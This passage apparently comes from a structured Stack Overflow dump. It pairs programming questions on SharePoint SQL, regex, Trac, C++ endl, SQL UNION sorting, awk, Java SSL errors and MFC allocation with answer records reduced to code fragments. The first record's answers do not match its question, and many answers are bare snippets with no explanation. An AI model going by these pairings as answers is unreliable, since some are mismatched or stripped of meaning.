<p>I'm writing an intranet application for a client and I want to give them the ability to configure through an admin interface, which users and user groups can access certain areas. What I'd like to know is the best way of storing the reference to the user or group that is assigned to an area of the intranet. </p> <p>Should I be using the <strong>domain\username</strong> and <strong>domain\groupname</strong> strings or should i perhaps be using the fully qualified ad name ie <strong>ou=computer room;cn=blah</strong> etc?</p> <p>I will be storing the reference in SQL.</p>
[ { "answer_id": 726063, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "Select * \nFrom your_content_database.dbo.AllDocs With (NoLock)\n" }, { "answer_id": 726633, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "Select Top 100 \n W.FullUrl, \n W.Title, \n L.tp_Title as ListTitle, \n A.tp_DirName, \n A.tp_LeafName, \n A.tp_id , \n DS.Content , \n DS.Size, \n D.DocLibRowID, \n D.TimeCreated, \n D.Size, \n D.MetaInfoTimeLastModified, \n D.ExtensionForFile \nFrom your_content_database.dbo.AllLists L With (NoLock) \njoin your_content_database.dbo.AllUserData A With (NoLock) \n On L.tp_ID=tp_ListId \njoin your_content_database.dbo.AllDocs D With (NoLock) \n On A.tp_ListID=D.ListID \n And A.tp_SiteID=D.SiteID \n And A.tp_DirName=D.DirName \n And A.tp_LeafName=D.LeafName \njoin your_content_database.dbo.AllDocStreams DS With (NoLock) \n On DS.SiteID=A.tp_SiteID \n And DS.ParentID=D.ParentID \n And DS.ID=D.ID \njoin your_content_database.dbo.Webs W With (NoLock) \n On W.ID=D.WebID \n And W.ID=L.Tp_WebID \n And W.SiteID=A.tp_SiteID \nWhere DS.DeleteTransactionID=0x \n And D.DeleteTransactionID=0x \n And D.IsCurrentVersion=1 \n And A.tp_DeleteTransactionID=0x \n And A.tp_IsCurrentVersion=1 \n And D.HasStream=1 \n And L.tp_DeleteTransactionId=0x \n And ExtensionForFile not in('webpart','dwp','aspx','xsn','master','rules','xoml') \n And D.MetaInfoTimeLastModified>DateAdd(d,-1,GetDate()) \nOrder by DS.Size desc\n" }, { "answer_id": 6900546, "author": "Ulf", "author_id": 523618, "author_profile": "https://Stackoverflow.com/users/523618", "pm_score": 2, "selected": false, "text": "select * from `shared documents`\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213814", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29086/" ]
213,816
<p>I want to check for duplicated words right next to each other, but even if there is punctuation in between.</p> <p>For example:</p> <pre><code>Vivamus Vivamus diam, diam, Vivamus Vivamus diam, diam Vivamus </code></pre> <p>There should be four distinct hits here.</p> <p>I can't figure out why this isn't working. Why? What should the correct code be?</p> <pre class="lang-none prettyprint-override"><code>(\w*(?:[ ,\.])*?)\1 </code></pre> <hr /> <p><em>PS: This is</em> <em><strong>not</strong></em> <em>necessarily for the Perl engine.</em></p>
[ { "answer_id": 213824, "author": "TJ L", "author_id": 12605, "author_profile": "https://Stackoverflow.com/users/12605", "pm_score": 4, "selected": true, "text": "(?:" }, { "answer_id": 213922, "author": "Jonathan Leffler", "author_id": 15168, "author_profile": "https://Stackoverflow.com/users/15168", "pm_score": 0, "selected": false, "text": "diam, diam, really, really, twice.\n" }, { "answer_id": 46739362, "author": "Stunner", "author_id": 347339, "author_profile": "https://Stackoverflow.com/users/347339", "pm_score": 1, "selected": false, "text": "[[\\w|\\W]+ ]+" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213816", "https://Stackoverflow.com", "https://Stackoverflow.com/users/730/" ]
213,838
<p>I have noticed that my particular instance of Trac is not running quickly and has big lags. This is at the very onset of a project, so not much is in Trac (except for plugins and code loaded into SVN).</p> <p><strong>Setup Info:</strong> This is via a SELinux system hosted by WebFaction. It is behind Apache, and connections are over SSL. Currently the .htpasswd file is what I use to control access.</p> <p>Are there any recommend ways to improve the performance of Trac?</p>
[ { "answer_id": 214162, "author": "Justin Voss", "author_id": 5616, "author_profile": "https://Stackoverflow.com/users/5616", "pm_score": 4, "selected": true, "text": "mod_python" }, { "answer_id": 215084, "author": "Pat Notz", "author_id": 825, "author_profile": "https://Stackoverflow.com/users/825", "pm_score": 2, "selected": false, "text": "https" }, { "answer_id": 806271, "author": "Paweł Polewicz", "author_id": 95920, "author_profile": "https://Stackoverflow.com/users/95920", "pm_score": 2, "selected": false, "text": "select disctinct name from wiki\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213838", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13990/" ]
213,845
<p>I have a HTML file that has code similar to the following.</p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td id="MyCell"&gt;Hello World&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>I am using javascript like the following to get the value</p> <pre><code>document.getElementById(cell2.Element.id).innerText </code></pre> <p>This returns the text "Hello World" with only 1 space between hello and world. I MUST keep the same number of spaces, is there any way for that to be done?</p> <p>I've tried using innerHTML, outerHTML and similar items, but I'm having no luck.</p>
[ { "answer_id": 213858, "author": "TJ L", "author_id": 12605, "author_profile": "https://Stackoverflow.com/users/12605", "pm_score": 3, "selected": false, "text": "&nbsp;" }, { "answer_id": 213944, "author": "savetheclocktower", "author_id": 25720, "author_profile": "https://Stackoverflow.com/users/25720", "pm_score": 2, "selected": false, "text": "pre" }, { "answer_id": 213945, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 0, "selected": false, "text": "var textValue = function(element) {\n if(!element.hasOwnProperty('childNodes')) {\n return '';\n }\n var childNodes = element.childNodes, text = '', childNode;\n for(var i in childNodes) {\n if(childNodes.hasOwnProperty(i)) {\n childNode = childNodes[i];\n if(childNode.nodeType == 3) {\n text += childNode.nodeValue;\n } else {\n text += textValue(childNode);\n }\n }\n }\n return text;\n};\n" }, { "answer_id": 215407, "author": "Alan Storm", "author_id": 4668, "author_profile": "https://Stackoverflow.com/users/4668", "pm_score": 1, "selected": false, "text": "<table>\n <tr>\n <td id=\"MyCell\">Hello World<input id=\"MyCell_VALUE\" type=\"hidden\" value=\"Hello World\" /></td>\n </tr>\n</table>\n" }, { "answer_id": 215460, "author": "Leo", "author_id": 20689, "author_profile": "https://Stackoverflow.com/users/20689", "pm_score": 0, "selected": false, "text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"> \n<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\">\n<head>\n <title></title>\n</head>\n<body>\n<div id=\"a\">a b</div>\n<script>\nvar a = document.getElementById(\"a\");\na.style.whiteSpace = \"pre\"\nwindow.onload = function() {\n alert(a.firstChild.nodeValue.length) // should show 4\n}\n</script>\n</body>\n</html>\n" }, { "answer_id": 440980, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "var cloned = element.cloneNode(true);\nvar pre = document.createElement(\"pre\");\npre.appendChild(cloned);\nvar textContent = pre.textContent\n ? pre.textContent\n : pre.innerText;\ndelete pre;\ndelete cloned;\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213845", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13279/" ]
213,851
<p>How can one programmatically sort a union query when pulling data from two tables? For example,</p> <pre><code>SELECT table1.field1 FROM table1 ORDER BY table1.field1 UNION SELECT table2.field1 FROM table2 ORDER BY table2.field1 </code></pre> <p>Throws an exception</p> <p>Note: this is being attempted on MS Access Jet database engine</p>
[ { "answer_id": 213862, "author": "Curtis Inderwiesche", "author_id": 3155, "author_profile": "https://Stackoverflow.com/users/3155", "pm_score": 0, "selected": false, "text": "ORDER BY" }, { "answer_id": 213872, "author": "Anne Porosoff", "author_id": 28701, "author_profile": "https://Stackoverflow.com/users/28701", "pm_score": 6, "selected": false, "text": "SELECT field1 FROM table1\nUNION\nSELECT field1 FROM table2\nORDER BY field1\n" }, { "answer_id": 213874, "author": "Nick", "author_id": 26161, "author_profile": "https://Stackoverflow.com/users/26161", "pm_score": 3, "selected": false, "text": "(SELECT table1.field1 FROM table1 \nUNION\nSELECT table2.field1 FROM table2) ORDER BY field1 \n" }, { "answer_id": 213886, "author": "Todd Price", "author_id": 29107, "author_profile": "https://Stackoverflow.com/users/29107", "pm_score": 4, "selected": false, "text": "SELECT [Product ID], [Order Date], [Company Name], [Transaction], [Quantity]\nFROM [Product Orders]\nUNION SELECT [Product ID], [Creation Date], [Company Name], [Transaction], [Quantity]\nFROM [Product Purchases]\nORDER BY [Order Date] DESC;\n" }, { "answer_id": 213891, "author": "Anson Smith", "author_id": 28685, "author_profile": "https://Stackoverflow.com/users/28685", "pm_score": 6, "selected": false, "text": "select supplier_id, supplier_name\nfrom suppliers\nwhere supplier_id > 2000\nUNION\nselect company_id, company_name\nfrom companies\nwhere company_id > 1000\nORDER BY 2;\n" }, { "answer_id": 213921, "author": "JohnMcG", "author_id": 1674, "author_profile": "https://Stackoverflow.com/users/1674", "pm_score": 3, "selected": false, "text": "SELECT table1Column1 as col1,table1Column2 as col2\n FROM table1\nUNION\n( SELECT table2Column1 as col1, table1Column2 as col2\n FROM table2\n)\nORDER BY col1 ASC\n" }, { "answer_id": 3394454, "author": "ajgreyling", "author_id": 409401, "author_profile": "https://Stackoverflow.com/users/409401", "pm_score": 8, "selected": true, "text": "ORDER BY" }, { "answer_id": 6319891, "author": "MJ Latifi", "author_id": 794452, "author_profile": "https://Stackoverflow.com/users/794452", "pm_score": 2, "selected": false, "text": "SELECT field1\nFROM ( SELECT field1 FROM table1\n UNION\n SELECT field1 FROM table2\n ) AS TBL\nORDER BY TBL.field1\n" }, { "answer_id": 7445656, "author": "Ian Boyd", "author_id": 12597, "author_profile": "https://Stackoverflow.com/users/12597", "pm_score": 5, "selected": false, "text": "SELECT name FROM Folders ORDER BY name\nUNION\nSELECT name FROM Files ORDER BY name\n" }, { "answer_id": 7700084, "author": "Prayut Parsekar", "author_id": 985855, "author_profile": "https://Stackoverflow.com/users/985855", "pm_score": 2, "selected": false, "text": "select * from \n (select top 100 percent pointx, pointy from point\n where pointtype = 1\n order by pointy) A\nunion all\nselect * from \n (select top 100 percent pointx, pointy from point\n where pointtype = 2\n order by pointy desc) B\n" }, { "answer_id": 8072225, "author": "tlang", "author_id": 1038625, "author_profile": "https://Stackoverflow.com/users/1038625", "pm_score": 2, "selected": false, "text": "SELECT *\nFROM (\n SELECT table1.field1 FROM table1 ORDER BY table1.field1\n UNION\n SELECT table2.field1 FROM table2 ORDER BY table2.field1\n) derivedTable\n" }, { "answer_id": 8990971, "author": "Ernesto Morales", "author_id": 1167485, "author_profile": "https://Stackoverflow.com/users/1167485", "pm_score": 1, "selected": false, "text": "SELECT TOP (100) PERCENT field1, field2, field3, field4, field5 FROM \n(SELECT table1.field1, table1.field2, table1.field3, table1.field4, table1.field5 FROM table1\nUNION ALL \nSELECT table2.field1, table2.field2, table2.field3, table2.field4, table2.field5 FROM table2) \nAS unitedTables ORDER BY field5 DESC\n" }, { "answer_id": 29035538, "author": "user1795683", "author_id": 1795683, "author_profile": "https://Stackoverflow.com/users/1795683", "pm_score": 0, "selected": false, "text": "SELECT 1 as type, field1 FROM table1 \nUNION \nSELECT 2 as type, field1 FROM table2 \nORDER BY type, field1\n" }, { "answer_id": 31414350, "author": "mandroid", "author_id": 1392873, "author_profile": "https://Stackoverflow.com/users/1392873", "pm_score": 0, "selected": false, "text": "(SELECT FIELD1 AS NEWFIELD FROM TABLE1 ORDER BY FIELD1)\nUNION\n(SELECT FIELD2 FROM TABLE2 ORDER BY FIELD2)\nUNION\n(SELECT FIELD3 FROM TABLE3 ORDER BY FIELD3) ORDER BY NEWFIELD\n" }, { "answer_id": 33290596, "author": "Bubblesphere", "author_id": 2973533, "author_profile": "https://Stackoverflow.com/users/2973533", "pm_score": 2, "selected": false, "text": "Order By" }, { "answer_id": 37386909, "author": "Bimal Das", "author_id": 4586387, "author_profile": "https://Stackoverflow.com/users/4586387", "pm_score": 0, "selected": false, "text": "SELECT * FROM \n(\n SELECT table1.field1 FROM table1 ORDER BY table1.field1\n) \nas DUMMY_ALIAS1\n\nUNION ALL\n\nSELECT * FROM\n( \n SELECT table2.field1 FROM table2 ORDER BY table2.field1\n) \nas DUMMY_ALIAS2\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213851", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3155/" ]
213,855
<p>I have a file with fields separated by pipe characters and I want to print only the second field. This attempt fails:</p> <pre><code>$ cat file | awk -F| '{print $2}' awk: syntax error near line 1 awk: bailing out near line 1 bash: {print $2}: command not found </code></pre> <p>Is there a way to do this?</p>
[ { "answer_id": 213856, "author": "Jon Ericson", "author_id": 1438, "author_profile": "https://Stackoverflow.com/users/1438", "pm_score": 2, "selected": false, "text": "$ awk -F\\| '{print $2}' file\n" }, { "answer_id": 213880, "author": "Zsolt Botykai", "author_id": 11621, "author_profile": "https://Stackoverflow.com/users/11621", "pm_score": 4, "selected": false, "text": "cut -d '|' -f FIELDNUMBER\n" }, { "answer_id": 213917, "author": "dmckee --- ex-moderator kitten", "author_id": 2509, "author_profile": "https://Stackoverflow.com/users/2509", "pm_score": 4, "selected": true, "text": "|" }, { "answer_id": 60556020, "author": "Mirage", "author_id": 767244, "author_profile": "https://Stackoverflow.com/users/767244", "pm_score": 1, "selected": false, "text": "awk 'BEGIN { FS = \"|\" } ; { print $2 }'\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213855", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1438/" ]
213,857
<p>We have seen the following exceptions very frequently on IBM AIX when attempting to make an SSL connection to our server:</p> <pre><code>java.net.SocketException: Socket closed at com.sun.net.ssl.internal.ssl.SSLSocketImpl.a(DashoA6275(Compiled Code)) at com.sun.net.ssl.internal.ssl.AppOutputStream.write(DashoA6275(Compiled Code)) at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java(Inlined Compiled Code)) at java.io.BufferedOutputStream.flush(BufferedOutputStream.java(Compiled Code)) at java.io.FilterOutputStream.flush(FilterOutputStream.java(Compiled Code)) at org.apache.commons.httpclient.methods.EntityEnclosingMethod.writeRequestBody(EntityEnclosingMethod.java(Compiled Code)) at org.apache.commons.httpclient.HttpMethodBase.writeRequest(HttpMethodBase.java(Compiled Code)) at org.apache.commons.httpclient.HttpMethodBase.execute(HttpMethodBase.java(Compiled Code)) at org.apache.commons.httpclient.HttpMethodDirector.executeWithRetry(HttpMethodDirector.java(Compiled Code)) at org.apache.commons.httpclient.HttpMethodDirector.executeMethod(HttpMethodDirector.java(Compiled Code)) at org.apache.commons.httpclient.HttpClient.executeMethod(HttpClient.java(Compiled Code)) at org.apache.commons.httpclient.HttpClient.executeMethod(HttpClient.java(Inlined Compiled Code)) at com.eximtechnologies.httptransport.client.ClientTransport.receiveMessages(ClientTransport.java(Compiled Code)) at com.eximtechnologies.httptransport.client.ClientTransport.receiveMessages(ClientTransport.java(Inlined Compiled Code)) at com.eximtechnologies.ecserver.connection.XMSHTTPConnection.checkForNewMessages(XMSHTTPConnection.java(Compiled Code)) at com.eximtechnologies.ecserver.connection.XMSHTTPConnection.timeoutExpired(XMSHTTPConnection.java(Compiled Code)) at com.eximtechnologies.xmd.timer.TimerEvent$1.run(TimerEvent.java(Compiled Code)) </code></pre> <p>From the error, you would think this was just a network problem, but the client had never experienced the problem before about 2 months ago, and AFAIK, there haven't been any changes to the network layout.</p> <p>We also receive this fairly frequently:</p> <pre><code>java.net.SocketException: Connection timed out:could be due to invalid address at java.net.PlainSocketImpl.socketConnect(Native Method) at java.net.PlainSocketImpl.doConnect(PlainSocketImpl.java:336) at java.net.PlainSocketImpl.connectToAddress(PlainSocketImpl.java:201) at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:188) at java.net.Socket.connect(Socket.java:478) at java.net.Socket.connect(Socket.java:428) at java.net.Socket.&lt;init&gt;(Socket.java:335) at java.net.Socket.&lt;init&gt;(Socket.java:210) at javax.net.ssl.SSLSocket.&lt;init&gt;(Unknown Source) </code></pre> <p>I'm suspecting that this is an AIX problem, but I guess it could be a firewall issue? I also saw some people in google searches hinting at a problem with commons http, but I couldn't see how that would be related.</p> <p>Is this something that others have seen with AIX recently?</p>
[ { "answer_id": 213916, "author": "Steve B.", "author_id": 19479, "author_profile": "https://Stackoverflow.com/users/19479", "pm_score": 0, "selected": false, "text": "<bean id=\"httpClient\" class=\"org.springframework.remoting.httpinvoker.CommonsHttpInvokerRequestExecutor\">\n <property name=\"httpClient\">\n <bean class=\"org.apache.commons.httpclient.HttpClient\">\n <property name=\"connectionTimeout\"><value>1000</value></property>\n <property name=\"timeout\"><value>3000</value></property>\n </bean>\n </property>\n</bean>\n\n<bean id=\"httpClient\" class=\"org.springframework.remoting.httpinvoker.CommonsHttpInvokerRequestExecutor\">\n <property name=\"httpClient\">\n <bean class=\"org.apache.commons.httpclient.HttpClient\">\n <property name=\"connectionTimeout\"><value>1000</value></property>\n <property name=\"timeout\"><value>3000</value></property>\n <property name=\"httpConnectionManager\">\n <bean class=\"org.apache.commons.httpclient.MultiThreadedHttpConnectionManager\" destroy-method=\"shutdown\">\n <property name=\"params\">\n <bean class=\"org.apache.commons.httpclient.params.HttpConnectionManagerParams\">\n <property name=\"defaultMaxConnectionsPerHost\" value=\"20\" />\n </bean>\n </property>\n </bean>\n </property>\n </bean>\n </property>\n</bean>\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213857", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1432/" ]
213,869
<p>So I know that autocommit commits every sql statement, but do updates to the database go directly to the disk or do they remain on cache until flushed? </p> <p>I realize it's dependent on the database implementation.</p> <p>Does auto-commit mean a) every statement is a complete transaction AND it goes straight to disk or b) every statement is a complete transaction and it may go to cache where it will be flushed later or it may go straight to disk</p> <p>Clarification would be great.</p>
[ { "answer_id": 213884, "author": "Daniel Spiewak", "author_id": 9815, "author_profile": "https://Stackoverflow.com/users/9815", "pm_score": 2, "selected": false, "text": "BEGIN" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213869", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
213,875
<p>using the Symbian S60 5th edition SDK released on October 2nd, I am compiling/running(on sim) the following code snippet:</p> <pre><code>void test(wchar_t *dest, int size, const wchar_t *fmt, ...) { va_list vl; va_start(vl, fmt); vswprintf(dest, size, fmt, vl); va_end(vl); } ... wchar_t str[1024]; // this crashes (2nd string 123 characters (+ \0) equals 248 bytes) test(str, 1024, L"msg: %S", L"this is a test messagethis is a test messagethis is a test messagethis is a test messagethis is a test messagethis is a tes"); // this works (2nd string 122 characters (+ \0) equals 246 bytes) test(str, 1024, L"msg: %S", L"this is a test messagethis is a test messagethis is a test messagethis is a test messagethis is a test messagethis is a te"); </code></pre> <p>For no reason obvious to me (even after having read the <a href="http://www.forum.nokia.com/document/CDL_Extension_S60_3rd_Ed_FP2/GUID-719955DA-415B-420E-9F9B-F6DB37615EC5/html/wprintf.html" rel="nofollow noreferrer">vswprintf</a> man page a hundred times) can I figure out why this code is crashing on me in the vswprintf call for long strings :-( The exact same code works fine on a Linux box. There is sufficient memory allocated for str, plus vswprintf is checking for buffer overruns anyway. Unfortunately the ... S60 debugger does not break on this crash, so I have no details :-(</p> <p>Does anybody have any ideas? </p> <p>Assuming a bug in Symbian's vswprintf routine, what would be possible replacement functions using POSIX compliant code? (this is supposed to be a cross-platform library)</p> <p>Thanks.</p>
[ { "answer_id": 213982, "author": "Michael Burr", "author_id": 12711, "author_profile": "https://Stackoverflow.com/users/12711", "pm_score": 1, "selected": false, "text": "vswprintf()" }, { "answer_id": 213999, "author": "Adam Rosenfield", "author_id": 9530, "author_profile": "https://Stackoverflow.com/users/9530", "pm_score": 0, "selected": false, "text": "%S" }, { "answer_id": 216121, "author": "Steven", "author_id": 27101, "author_profile": "https://Stackoverflow.com/users/27101", "pm_score": 0, "selected": false, "text": "void test(wchar_t *dest, int size, const wchar_t *fmt, ...) {\n VA_LIST args;\n VA_START(args, fmt);\n\n TPtrC16 fmtPtr((const TUint16*)fmt, wcslen(fmt) + 1); \n TPtr16 targetPtr((TUint16*)dest, size);\n\n targetPtr.FormatList(fmtPtr, args);\n targetPtr.ZeroTerminate();\n\n VA_END(args);\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213875", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27101/" ]
213,882
<p>So far, in my research I have seen that it is unwise to set AllowUnsafeUpdates on GET request operation to avoid cross site scripting. But, if it is required to allow this, what is the proper way to handle the situation to mitigate any exposure? </p> <p>Here is my best first guess on a reliable pattern if you absolutely need to allow web or site updates on a GET request.</p> <p>Best Practice?</p> <pre><code>protected override void OnLoad(System.EventArgs e) { if(Request.HttpMethod == "POST") { SPUtility.ValidateFormDigest(); // will automatically set AllowSafeUpdates to true } // If not a POST then AllowUnsafeUpdates should be used only // at the point of update and reset immediately after finished // NOTE: Is this true? How is cross-site scripting used on GET // and what mitigates the vulnerability? } // Point of item update using(SPSite site = new SPSite(SPContext.Current.Site.Url, SPContext.Current.Site.SystemAccount.UserToken)) { using (SPWeb web = site.RootWeb) { bool allowUpdates = web.AllowUnsafeUpdates; //store original value web.AllowUnsafeUpdates = true; //... Do something and call Update() ... web.AllowUnsafeUpdates = allowUpdates; //restore original value } } </code></pre> <p>Feedback on the best pattern is appreciated.</p>
[ { "answer_id": 432820, "author": "Øyvind Skaar", "author_id": 49194, "author_profile": "https://Stackoverflow.com/users/49194", "pm_score": 1, "selected": false, "text": "using (WebWrapper wrapper = new WebWrapper(\"http://localhost\"))\n {\n wrapper.AllowUnsafeUpdates();\n\n //Do work on wrapper.\n }\n" }, { "answer_id": 436123, "author": "Trent", "author_id": 35329, "author_profile": "https://Stackoverflow.com/users/35329", "pm_score": 2, "selected": false, "text": "public static void DoUnsafeUpdate(this SPWeb web, Action action)\n{\n bool allowUnsafeUpdates = web.AllowUnsafeUpdates;\n web.AllowUnsafeUpdates = true;\n action();\n web.AllowUnsafeUpdates = allowUnsafeUpdates;\n}\n" }, { "answer_id": 436509, "author": "dahlbyk", "author_id": 54249, "author_profile": "https://Stackoverflow.com/users/54249", "pm_score": 3, "selected": false, "text": "public static void DoUnsafeUpdate(this SPWeb web, Action<SPWeb> action)\n{\n try\n {\n web.AllowUnsafeUpdates = true;\n action(web);\n }\n finally\n {\n web.AllowUnsafeUpdates = false;\n }\n}\n" }, { "answer_id": 1052174, "author": "Ariel", "author_id": 118464, "author_profile": "https://Stackoverflow.com/users/118464", "pm_score": 2, "selected": false, "text": "if( HttpContext.Current is null )\n{\n Do nothing, no need to set AllowUnsafeUpdates to true nor\n to call ValidateFormDigest() because update will be carried out\n}\nelse // HttpContext.Current is NOT null\n{\n if( SPContext.Current is null )\n {\n Need to set AllowUnsafeUpdates to true\n }\n else // SPContext.Current is NOT null\n {\n Call ValidateFormDigest()\n }\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213882", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13135/" ]
213,901
<p>I'd like to run a subcommand from Perl (or pipe it into a Perl script) and have the script process the command's output immediately, rather than waiting for a timeout, a newline, or a certain number of blocks. For example, let's say I want to surround each chunk of input with square brackets. When I run the script like this:</p> <pre><code>$ ( echo -n foo ; sleep 5 ; echo -n bar ; sleep 5; echo baz) | my_script.pl </code></pre> <p>I'd like the output to be this, with each line appearing five seconds after the previous one:</p> <pre><code>[foo] [bar] [baz] </code></pre> <p>How do I do that?</p> <p>This works, but is really ugly:</p> <pre><code>#! /usr/bin/perl -w use strict; use Fcntl; my $flags = ''; fcntl(STDIN, F_GETFL, $flags); $flags |= O_NONBLOCK; fcntl(STDIN, F_SETFL, $flags); my $rin = ''; vec($rin,fileno(STDIN),1) = 1; my $rout; while (1) { select($rout=$rin, undef, undef, undef); last if eof(); my $buffer = ''; while (my $c = getc()) { $buffer .= $c; } print "[$buffer]\n"; } </code></pre> <p>Is there a more elegant way to do it?</p>
[ { "answer_id": 213923, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 0, "selected": false, "text": "getc" }, { "answer_id": 213951, "author": "Adam Davis", "author_id": 2915, "author_profile": "https://Stackoverflow.com/users/2915", "pm_score": 1, "selected": false, "text": "$ echo \"( echo -n foo ; sleep 5 ; echo -n bar ; sleep 5; echo baz)\" | my_script.pl\n" }, { "answer_id": 215604, "author": "Schwern", "author_id": 14660, "author_profile": "https://Stackoverflow.com/users/14660", "pm_score": 2, "selected": false, "text": "use Term::ReadKey;\n\n$| = 1;\nwhile( my $key = ReadKey(10) ) {\n print $key;\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213901", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7598/" ]
213,907
<p>Many C++ books contain example code like this...</p> <pre><code>std::cout &lt;&lt; "Test line" &lt;&lt; std::endl; </code></pre> <p>...so I've always done that too. But I've seen a lot of code from working developers like this instead:</p> <pre><code>std::cout &lt;&lt; "Test line\n"; </code></pre> <p>Is there a technical reason to prefer one over the other, or is it just a matter of coding style?</p>
[ { "answer_id": 213914, "author": "Martin Beckett", "author_id": 10897, "author_profile": "https://Stackoverflow.com/users/10897", "pm_score": 6, "selected": false, "text": "std::endl" }, { "answer_id": 213977, "author": "David Thornley", "author_id": 14148, "author_profile": "https://Stackoverflow.com/users/14148", "pm_score": 10, "selected": true, "text": "std::endl" }, { "answer_id": 214076, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 8, "selected": false, "text": "std::cout << std::endl;\n" }, { "answer_id": 574153, "author": "Özgür", "author_id": 12652, "author_profile": "https://Stackoverflow.com/users/12652", "pm_score": 4, "selected": false, "text": "(cout<<_1<<endl)(3); //error\n\n(cout<<_1<<\"\\n\")(3); //OK , prints 3\n" }, { "answer_id": 1752330, "author": "Nathan", "author_id": 213325, "author_profile": "https://Stackoverflow.com/users/213325", "pm_score": 5, "selected": false, "text": "std::endl" }, { "answer_id": 2277698, "author": "smerlin", "author_id": 231717, "author_profile": "https://Stackoverflow.com/users/231717", "pm_score": 4, "selected": false, "text": "endl" }, { "answer_id": 25569849, "author": "Emily L.", "author_id": 2498188, "author_profile": "https://Stackoverflow.com/users/2498188", "pm_score": 5, "selected": false, "text": "std::cout" }, { "answer_id": 49512278, "author": "Kaleem Ullah", "author_id": 2046817, "author_profile": "https://Stackoverflow.com/users/2046817", "pm_score": 2, "selected": false, "text": "std::endl" }, { "answer_id": 68692492, "author": "TheHardew", "author_id": 3982062, "author_profile": "https://Stackoverflow.com/users/3982062", "pm_score": 3, "selected": false, "text": "'\\n'" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213907", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12193/" ]
213,939
<p>Does anyone know how to initiate a POST request in a Grails applications using javascript. Specifically, I would like to be able to POST when a the selected item in a drop-down box is changed.</p> <p>I've tried using jQuery and the $.post() method. It successfully calls my controller action, but I'm not sure how to get the page to refresh with the response contents. The screen is not updated. Any ideas? This does not need to be asynchronous.</p> <p>I'm not tied to using jQuery, I'm just trying to figure out how to do a POST from a javascript.</p> <p>Andrew</p> <p>My client-side javascript</p> <pre><code>&lt;script type="text/javascript" language="javascript"&gt; $(document).ready( function() { $("#ownerId").change(function() { $.post("/holidayCards/clientContact/ownerSelected", {ownerId: this.value}); }); }); </code></pre>
[ { "answer_id": 219217, "author": "Ed.T", "author_id": 3014, "author_profile": "https://Stackoverflow.com/users/3014", "pm_score": 0, "selected": false, "text": " def ajaxRandom = {\n def randomQuote = quoteService.getRandomQuote()\n response.outputStream << \"<q>${randomQuote.content}</q>\" \n }\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213939", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21832/" ]
213,950
<p>I'm trying to compile a program called ngrep, and when I ran configure, things seemed to go well, but when I run make, I get:</p> <pre><code>ngrep.c: In function ‘process’: ngrep.c:544: error: ‘struct udphdr’ has no member named ‘source’ ngrep.c:545: error: ‘struct udphdr’ has no member named ‘dest’ make: *** [ngrep.o] Error 1 </code></pre> <p>What does that mean, and how do I fix it? There are no earlier warnings or errors that suggest the root of the problem.</p>
[ { "answer_id": 214021, "author": "raldi", "author_id": 7598, "author_profile": "https://Stackoverflow.com/users/7598", "pm_score": 3, "selected": true, "text": "#ifdef HAVE_DUMB_UDPHDR\n printf(\"%s:%d -\", inet_ntoa(ip_packet->ip_src), ntohs(udp->source));\n printf(\"> %s:%d\", inet_ntoa(ip_packet->ip_dst), ntohs(udp->dest));\n#else\n printf(\"%s:%d -\", inet_ntoa(ip_packet->ip_src), ntohs(udp->uh_sport));\n printf(\"> %s:%d\", inet_ntoa(ip_packet->ip_dst), ntohs(udp->uh_dport));\n#endif\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213950", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7598/" ]
213,952
<p>I'm working on a large, aging code base for an MFC app. The code has been worked on by many developers over time, and as a result, we have three different ways throughout the code of dealing with the possibility of an allocation failure with new.</p> <p>The first way is to test for NULL on the result of new. We don't use nothrownew.obj so this is clearly an error that needs to be cleaned up.</p> <p>The second is to catch CMemoryException* (yes, C++ exceptions are enabled in the compiler). From what I understand, MFC overrides the standard operator new, and throws this thing instead. I am fairly certain that this second method is correct in the MFC application itself. MFC overrides new, with its strange CMemoryException throwing version. </p> <p>The last comes from our base of people who are good with C++, but aren't neccessarily MFC programmers. They are catching const std::bad_alloc&amp;. </p> <p>What I really don't know is what to expect for static libraries linked into the application. This is were the vast majority of the code that uses 